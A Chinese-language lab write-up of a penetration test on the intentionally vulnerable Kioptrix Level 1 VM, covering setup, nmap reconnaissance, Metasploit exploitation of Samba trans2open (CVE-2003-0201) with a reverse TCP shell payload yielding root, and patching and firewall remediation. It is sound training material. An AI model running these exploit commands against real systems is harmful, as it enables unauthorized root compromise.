Kioptrix Level 1：全光谱漏洞审计与利用

🏛️ 专业目标

目标是对 Kioptrix Level 1 环境执行结构化渗透测试，实现完整的 'root' 权限获取，并记录适用于红队和蓝队操作的技术修复策略。

🏗️ 环境复现（硬件背景）

现代虚拟化默认设置通常在 2010 年的老旧内核上无法正常工作。为了成功启动该机器并使其联网，需要以下特定的架构配置：

• 操作系统子类型： Linux / Red Hat（32 位）。
• 存储架构： 从 SATA 切换为 IDE 控制器，以支持旧版 .vmdk 硬盘。
• 网络协议： 配置为 PCI FAST-III，使用 仅主机适配器，以便与 Kali Linux 攻击机进行内部通信。

⚔️ 攻击分析（红队路径）

利用过程遵循手动枚举到利用的生命周期：

1. 发现与侦察

• Netdiscover： 使用 netdiscover -r 192.168.184.4 识别目标 IP。
• Nmap 扫描： 识别出包括 SSH（22）、HTTP（80）、RPC（111）和 NetBIOS-SSN（139）的服务。Samba 2.2.1a 被标记为主要入口点。

2. 利用（Samba trans2open）

• 漏洞： CVE-2003-0201（堆溢出）。
• MITRE ATT&CK 映射： - 战术： 权限提升（TA0004）
  • 技术： 利用漏洞进行权限提升（T1068）
• Metasploit 协议：
  • use exploit/linux/samba/trans2open
  • set RHOSTS 192.168.114.5
  • set payload linux/x86/shell/reverse_tcp
• 结果： 成功生成反弹 Shell。命令 whoami 返回 root。

🛡️ 防御性修复（蓝队路径）

为确保企业环境安全，必须采用以下 漏洞管理（VM） 策略：

• 补丁协议： 更新 Samba 到最新支持的版本（Samba 4.x）。所有现代版本均已有效修补 call_trans2open 函数中的漏洞。
• 网络加固： 部署基于主机的防火墙，将端口 139 和 445 限制为仅允许受信任的内部子网访问。
• VM 角色策略： 此修复属于标准营业时间内的 漏洞管理 周期，确保基础设施稳定性。

---

📝 技术证据与手动日志

以下图片记录了实时手动枚举和终端执行情况：

目标发现与架构说明

Metasploit 命令逻辑与 Payload 配置

Root 权限证明（终端截图）

Root Shell 证据